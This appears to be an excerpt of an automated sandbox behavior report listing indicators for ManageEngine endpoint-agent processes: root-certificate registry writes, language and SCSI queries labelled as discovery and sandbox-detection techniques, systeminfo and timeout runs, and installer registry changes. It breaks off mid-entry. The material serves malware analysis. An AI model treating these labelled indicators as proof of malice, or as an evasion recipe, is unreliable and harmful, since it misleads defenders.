072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 0300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d22000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2\Blob = 0f0000000100000020000000edc7c96a0452ef560b0e8b820fa2af702038af1a366a27727ababbdffb9b7335030000000100000014000000f28618438628218770f398532e2b5cf9c0ee74f22000000001000000f0030000308203ec308202d4a003020102020879a049f75ad52cad300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930313036333232385a180f32303531303930313036333232385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010097dc6778010d7529e035a1737fe24ba10c4ffa4fe14af3d2eb4c13fda3a3e15552b16ad5c56166dffde448965746968ffb5bc97d16f0bb82ae6100de69337f8fa1e2b30a815cb541a0d755dafcf79fae59b3b1ca64aec627b0057dee6963512c5df4573b5ab5d6885757e80e8877318e1e5a037f33c3199b975bd67495e42478368e144b939d8d2dd60f4f7d8123eeeaeefae5ae386de576f2ac69a263a7c26ddd6cf6f8f254e0434d3b9653771df3855833912aa2c68fbef406f0f054dbe81de3b7aee11b143df3f1a7f82c0e979c48565d148edeabfccd04fffc144d48d88c314c3bb7efec6d06a9bc85905e36b7b67dbd6ff10d0930227ed1f5e68b109c490203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c914c8412bdba7bf8facd19f3721bf0f3e14ad53301f0603551d23041830168014c914c8412bdba7bf8facd19f3721bf0f3e14ad53300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100482d21c21ad129589c39c0710183c28e403e0b31354d100046957c089719c3e59455a49509868abe01b65c2c6e9889487e88479e8197285abccada4f18ab4c4422d4f99af0f95253055fdccc5366af21b8bc77de841b3e8c646b9e204215d02bb059f298c72b46b4490ed7469c61c7577cc1ee3cecf54231a56a10231f138ebbb0f421f38c5f1b9101c8c3fa9bfd13a340b28d030b39277a499ce034d82aa161768b242532b9530ed6830c2d0049f591a576b2c0e5bd0512bb04313a6b4f6c350bad06319012c64277d3f3e7093d941c407a7db5a956ac0b11f1fad4710c9e061f360d9e263ac439d4ce0d53b195d035865921ce0572f7aec00e12ccef99d882 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2\Blob = 1900000001000000100000002e8f545db427dac03e11e195291e33b00f0000000100000020000000edc7c96a0452ef560b0e8b820fa2af702038af1a366a27727ababbdffb9b7335030000000100000014000000f28618438628218770f398532e2b5cf9c0ee74f2140000000100000014000000c914c8412bdba7bf8facd19f3721bf0f3e14ad532000000001000000f0030000308203ec308202d4a003020102020879a049f75ad52cad300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930313036333232385a180f32303531303930313036333232385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010097dc6778010d7529e035a1737fe24ba10c4ffa4fe14af3d2eb4c13fda3a3e15552b16ad5c56166dffde448965746968ffb5bc97d16f0bb82ae6100de69337f8fa1e2b30a815cb541a0d755dafcf79fae59b3b1ca64aec627b0057dee6963512c5df4573b5ab5d6885757e80e8877318e1e5a037f33c3199b975bd67495e42478368e144b939d8d2dd60f4f7d8123eeeaeefae5ae386de576f2ac69a263a7c26ddd6cf6f8f254e0434d3b9653771df3855833912aa2c68fbef406f0f054dbe81de3b7aee11b143df3f1a7f82c0e979c48565d148edeabfccd04fffc144d48d88c314c3bb7efec6d06a9bc85905e36b7b67dbd6ff10d0930227ed1f5e68b109c490203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c914c8412bdba7bf8facd19f3721bf0f3e14ad53301f0603551d23041830168014c914c8412bdba7bf8facd19f3721bf0f3e14ad53300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100482d21c21ad129589c39c0710183c28e403e0b31354d100046957c089719c3e59455a49509868abe01b65c2c6e9889487e88479e8197285abccada4f18ab4c4422d4f99af0f95253055fdccc5366af21b8bc77de841b3e8c646b9e204215d02bb059f298c72b46b4490ed7469c61c7577cc1ee3cecf54231a56a10231f138ebbb0f421f38c5f1b9101c8c3fa9bfd13a340b28d030b39277a499ce034d82aa161768b242532b9530ed6830c2d0049f591a576b2c0e5bd0512bb04313a6b4f6c350bad06319012c64277d3f3e7093d941c407a7db5a956ac0b11f1fad4710c9e061f360d9e263ac439d4ce0d53b195d035865921ce0572f7aec00e12ccef99d882 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 190000000100000010000000b171a743f9c285ef92408477a87508880f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c760300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d214000000010000001400000067291eb8f0b6f9e21fc2ab93b961b8d8163e2a842000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe - System Location Discovery: System Language Discovery 1 TTPs 60 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CRU_Reporter.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DCProcessMonitor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHealthChecker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcuploadlogs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language systeminfo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe - Delays execution with timeout.exe 2 IoCs
pid Process 4604 timeout.exe 872 timeout.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4756 systeminfo.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Software\Microsoft\Internet Explorer\International\CpMRU mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Size = "10" mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100" mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Factor = "20" mshta.exe Set value (data) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe Set value (data) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe Set value (data) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Enable = "1" mshta.exe Set value (data) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcagentregister.exe - Modifies registry class 35 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcconfig.exe Key created 